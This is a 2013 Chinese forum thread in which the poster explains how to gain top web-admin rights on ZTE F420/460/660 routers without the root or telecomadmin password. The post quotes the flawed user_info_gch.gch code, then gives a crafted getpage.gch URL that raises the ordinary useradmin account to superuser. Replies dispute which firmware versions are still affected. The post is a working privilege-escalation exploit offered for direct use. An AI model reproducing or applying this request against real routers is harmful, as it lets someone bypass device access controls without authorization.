[原创]F420 460 660 在root telecomadmin密码未知时,获得路由器WEB最高管理权限
本帖最后由 xsser 于 2013-3-13 02:51 编辑由于user_info_gch.gch文件中下列代码存在漏洞,我们可以通过如下的方式钻个空子if(FP_ACTION=="apply"){
if((getenv("Right")==1&&FP_INDEX!=1)||(getenv("Right")==2&&FP_INDEX==1)){
FP_HANDLE=create_paralist();
set_para(FP_HANDLE,"Type",request("Type"));
set_para(FP_HANDLE,"Enable",request("Enable"));
set_para(FP_HANDLE,"Username",request("Username"));
set_para(FP_HANDLE,"Password",request("OldPassword"));
set_para(FP_HANDLE,"Right",request("Right"));
FP_RESULT=login(FP_HANDLE, "OBJ_LOGIN_ID");
}else {
FP_RESULT=0;
}
if(FP_RESULT==0){
if(FP_INDEX>=0){
FP_HANDLE=create_paralist();
for(var i=0;i<FP_PARANUM;i++){
setpara(FP_HANDLE,PARA);
}
FP_IDENTITY=set_inst(FP_HANDLE, FP_OBJNAME,FP_IDENTITY);
}
}else {
FP_ERRORSTR=FP_RESULT;
}
}1.用电信给你的useradmin帐户和密码登陆路尤器WEB管理页面
2.登陆成功后直接在IE中访问如下网址
http://192.168.1.1/getpage.gch?pid=1002&nextpage=manager_user_conf_t.gch&Type=NULL&Enable=NULL&Username=useradmin&Password=这里替换成你useradmin用户的密码&Right=0&IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&IF_INDEX=1&OldPassword=这里替换成你useradmin用户的密码
注意,上述URL有两个地方要替换成您useradmin的密码
3.重新用useradmin用户登录试试看,是不是成了超级用户了:-) {:soso_e103:} 这个方法不是通用的,只有部分版本才支持。{:soso_e144:} 我没有那么多环境,每个路由器的信号分别找了两个人帮忙测试,均成功. 扯淡,你试试看F420的3.0版本,现在连telent扣都关闭了 lawman 发表于 2013-3-13 12:29 static/image/common/back.gif
扯淡,你试试看F420的3.0版本,现在连telent扣都关闭了
拿的是WEB权限,谁告你telnet了? 你看看你的固件是什么版本的,目前已知的3.0的都已经封掉了。GCH的访问权限 lawman 发表于 2013-3-13 14:53 static/image/common/back.gif
你看看你的固件是什么版本的,目前已知的3.0的都已经封掉了。GCH的访问权限
gch访问权限封掉的话怎么访问web后台呢,不可能不让访问吧